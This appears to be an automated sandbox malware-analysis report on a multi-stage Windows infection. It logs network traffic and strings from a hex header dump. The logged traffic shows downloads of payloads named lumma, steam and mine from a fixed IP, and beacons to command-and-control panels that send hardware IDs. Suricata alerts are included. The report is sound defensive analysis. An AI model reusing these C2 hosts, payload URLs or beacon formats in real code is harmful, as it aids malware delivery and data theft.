00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 69 63 73 72 68 71 6f 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 74 78 6a 72 66 65 63 00 20 00 00 00 a0 2a 00 00 06 00 00 00 54 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 5a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 32 46 38 30 31 46 43 39 30 34 33 34 37 39 32 32 31 31 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 2d 2d 0d 0a Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="hwid"322F801FC9043479221132------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="build"stok------JKEBFBFIEHIDAAAAFHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /lumma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 32 34 30 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1024086001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 31 32 45 37 33 42 36 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B12E73B65C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.165.185 172.67.165.185
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49789 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49813 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49831 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49838 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49846 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49852 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49870 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49876 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

Code function: 5_2_0025E0C0 recv,recv,recv,recv,

5_2_0025E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: LIWYEYWSOj.exe, 00000000.00000003.2002781931.0000000001433000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2879763238.0000000005582000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/#
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/N
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe652242
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lumma/random.exe:=
Source: LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880678373.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: 0fd4b3a5d7.exe, 00000009.00000003.2880159221.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exed4$
Source: LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe-
Source: LIWYEYWSOj.exe, 00000000.00000003.2002916300.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exeD
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Y
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php//
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1t
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=t
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: LEDU23VRAEI6A5X1LTGJU.exe, 00000004.00000002.2096558340.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpyt)
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32
Source: skotes.exe, 00000007.00000002.2940709036.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4086001
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9
Source: skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ
Source: skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000007.00000002.2940709036.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000007.00000002.2940709036.000000000115D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpx
Source: skotes.exe, 00000007.00000002.2940709036.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: LIWYEYWSOj.exe, 00000000.00000003.1809786819.0000000005A78000.00000004.00000800.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2682629119.00000000055C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: LIWYEYWSOj.exe, 00000000.00000003.1836308583.0000000001416000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1929467995.0000000001425000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1879484490.0000000001416000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1929433037.0000000001417000.00000004.00000020.00020000.00000000.sdmp, LIWYEYWSOj.exe, 00000000.00000003.1748702745.0000000001416000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2800391654.0000000000D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 0fd4b3a5d7.exe, 00000009.00000003.2731276729.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2658446321.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2711392422.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2735688920.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, 0fd4b3a5d7.exe, 00000009.00000003.2731516300.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftN
